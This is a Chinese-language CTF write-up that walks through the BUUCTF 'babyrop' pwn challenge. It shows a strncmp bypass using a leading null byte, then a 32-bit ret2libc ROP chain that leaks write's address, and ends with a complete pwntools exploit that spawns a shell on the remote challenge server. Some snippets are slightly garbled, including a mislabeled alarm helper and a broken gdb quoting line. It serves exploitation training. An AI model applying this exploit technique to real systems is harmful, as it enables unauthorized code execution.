BUUCTF babyrop实战:手把手教你绕过strncmp和构造ROP链(附完整EXP)
BUUCTF babyrop实战:从零构建ROP链的深度攻防解析
引言:为什么ROP技术是二进制安全的必修课
在CTF竞赛和实际安全研究中,Return-Oriented Programming(ROP)技术就像黑客手中的瑞士军刀。它能在内存防护机制日益严密的现代系统中,通过巧妙组合现有代码片段(gadgets)实现任意代码执行。对于刚接触二进制安全的同学来说,babyrop这类题目就像精心设计的乐高套装——每个零件都恰到好处,既能练习基础技能,又不会因复杂度太高而劝退。
今天我们要剖析的BUUCTF平台上的babyrop题目,来自OGeek2019比赛,完美展现了ROP链构造的经典思维流程。不同于单纯讲解漏洞原理的理论文章,本文将带您亲历完整的漏洞利用过程:从逆向分析发现漏洞点,到绕过strncmp保护机制,最终构建ROP链获取shell权限。过程中我会分享调试技巧和常见错误排查方法,这些实战经验往往是在其他教程中难以找到的珍贵细节。
1. 环境准备与初步分析
1.1 题目基本信息收集
拿到题目文件后,第一件事就是使用checksec工具检查防护机制:
checksec --file=babyrop典型输出结果会显示:
- NX enabled:栈不可执行,排除了直接注入shellcode的可能性
- No canary found:没有栈保护,意味着可以放心地进行栈溢出
- PIE disabled:程序基地址固定,不需要考虑地址随机化问题
这些信息决定了我们的攻击方向——必须通过ROP技术来绕过NX保护。同时,没有canary和PIE让利用过程变得相对简单,非常适合初学者练习。
1.2 关键函数逆向分析
使用IDA Pro打开程序,主函数的逻辑脉络逐渐清晰:
警报设置:程序开始通过
alarm(0x3C)设置60秒超时,这可能会干扰调试。解决方法很简单:context.update(os='linux', arch='i386') io = process('./babyrop') def disable_alarm(): io.sendlineafter('name: ', '0') # 绕过strncmp检查 io.recvuntil('Correct\n') disable_alarm()核心逻辑链:
- 生成随机数 →
sub_804871F()处理 →sub_80487D0()执行 - 第一个函数负责输入验证,第二个函数存在关键漏洞
- 生成随机数 →
2. 突破strncmp验证机制
2.1 strncmp的致命弱点
sub_804871F()函数中存在以下关键代码:
v1 = strlen(buf); if ( strncmp(buf, s, v1) ) exit(0);这里的安全检查看似严密,实则暗藏玄机。当v1=0时,strncmp会直接返回0(表示匹配成功),因为比较长度为0。而v1来自strlen(buf),所以只需让buf的第一个字节为\x00即可:
payload = b'\x00' + b'\xff'*7 # \x00绕过长度检查,\xff为后续利用准备2.2 字节选择的艺术
第二个关键点是buf[7]的值会决定后续栈溢出的空间大小。我们需要其ASCII值尽可能大:
| 字符表示 | 十六进制 | 十进制值 | 适用性 |
|---|---|---|---|
\x7f | 0x7f | 127 | 太小 |
\xff | 0xff | 255 | 理想值 |
'A' | 0x41 | 65 | 不足 |
通过构造\xff,我们能获得最大的溢出空间,为后续ROP链铺路。
3. ROP链构造实战
3.1 泄露libc地址
由于题目没有提供system和/bin/sh,我们需要通过泄露libc函数地址来计算基址:
write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = 0x08048825 # 主函数返回地址 payload = flat( b'A'*0xe7, b'B'*4, # 覆盖ebp p32(write_plt), p32(main_addr), # 返回地址 p32(1), # fd=stdout p32(write_got), p32(4) # 输出4字节 )这段payload执行后,我们会收到write函数在内存中的实际地址,然后通过LibcSearcher匹配libc版本:
write_addr = u32(io.recv(4)) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh')3.2 32位与64位ROP的差异
这是初学者最容易混淆的地方之一:
| 特性 | 32位程序 | 64位程序 |
|---|---|---|
| 参数传递 | 通过栈传递 | 优先使用寄存器(RDI,RSI,RDX等) |
| 栈对齐 | 不需要特别处理 | 通常需要保持16字节对齐 |
| Gadget寻找 | 相对简单 | 需要更复杂的链式组合 |
在本题中,我们只需要按顺序将参数压栈即可调用函数:
payload = flat( b'A'*0xe7, b'B'*4, p32(system_addr), p32(0xdeadbeef), # 随意返回地址 p32(bin_sh_addr) )4. 完整EXP与调试技巧
4.1 自动化利用脚本
以下是整合所有步骤的完整利用代码:
from pwn import * from LibcSearcher import * context(os='linux', arch='i386') # io = process('./babyrop') io = remote('node4.buuoj.cn', 25501) # 第一阶段:绕过strncmp检查 io.sendlineafter('name: ', b'\x00' + b'\xff'*7) io.recvuntil('Correct\n') # 第二阶段:泄露write地址 elf = ELF('./babyrop') write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = 0x08048825 payload = flat( b'A'*0xe7, b'B'*4, p32(write_plt), p32(main_addr), p32(1), p32(write_got), p32(4) ) io.sendline(payload) write_addr = u32(io.recv(4)) # 第三阶段:计算system地址并获取shell libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') io.sendlineafter('name: ', b'\x00' + b'\xff'*7) io.recvuntil('Correct\n') payload = flat( b'A'*0xe7, b'B'*4, p32(system_addr), p32(0), p32(bin_sh_addr) ) io.sendline(payload) io.interactive()4.2 GDB调试关键技巧
当ROP链不工作时,这些gdb命令能快速定位问题:
gdb -q ./babyrop b *0x080487D0 # 在漏洞函数入口下断点 r <<< $(python -c 'print "\x00" + "\xff"*7"') # 检查栈布局 x/20wx $esp # 检查返回地址是否被正确覆盖 x/i $eip常见问题排查表:
| 症状 | 可能原因 | 解决方案 |
|---|---|---|
| 段错误(Segmentation fault) | 返回地址无效 | 检查payload中的地址是否正确 |
| 程序提前退出 | 没有绕过初始检查 | 确认strncmp绕过有效 |
| 没有收到泄露的地址 | write参数设置错误 | 检查文件描述符是否为1(stdout) |
| system执行但无shell | /bin/sh地址错误 | 验证libc中str_bin_sh的偏移 |
5. ROP技术的进阶思考
虽然我们成功利用了这道题,但现实中的二进制漏洞往往更加复杂。现代防护技术如ASLR、Stack Canary、CFG等都在不断增加ROP的难度。要成为真正的漏洞利用专家,还需要掌握以下进阶技术:
- 面向返回的编程(ROP)优化:如何用更少的gadget完成复杂操作
- 堆利用技巧:结合堆漏洞实现更强大的攻击
- BROP(Blind ROP):在没有二进制文件的情况下进行ROP攻击
- 对抗防护机制:绕过ASLR、DEP等现代防护措施的方法
这道babyrop题目就像二进制安全的入门仪式,当你成功获取到第一个shell时,那种成就感是无与伦比的。但请记住,真正的挑战才刚刚开始——网络安全的世界里,永远有更复杂、更精妙的系统等着我们去探索和突破。
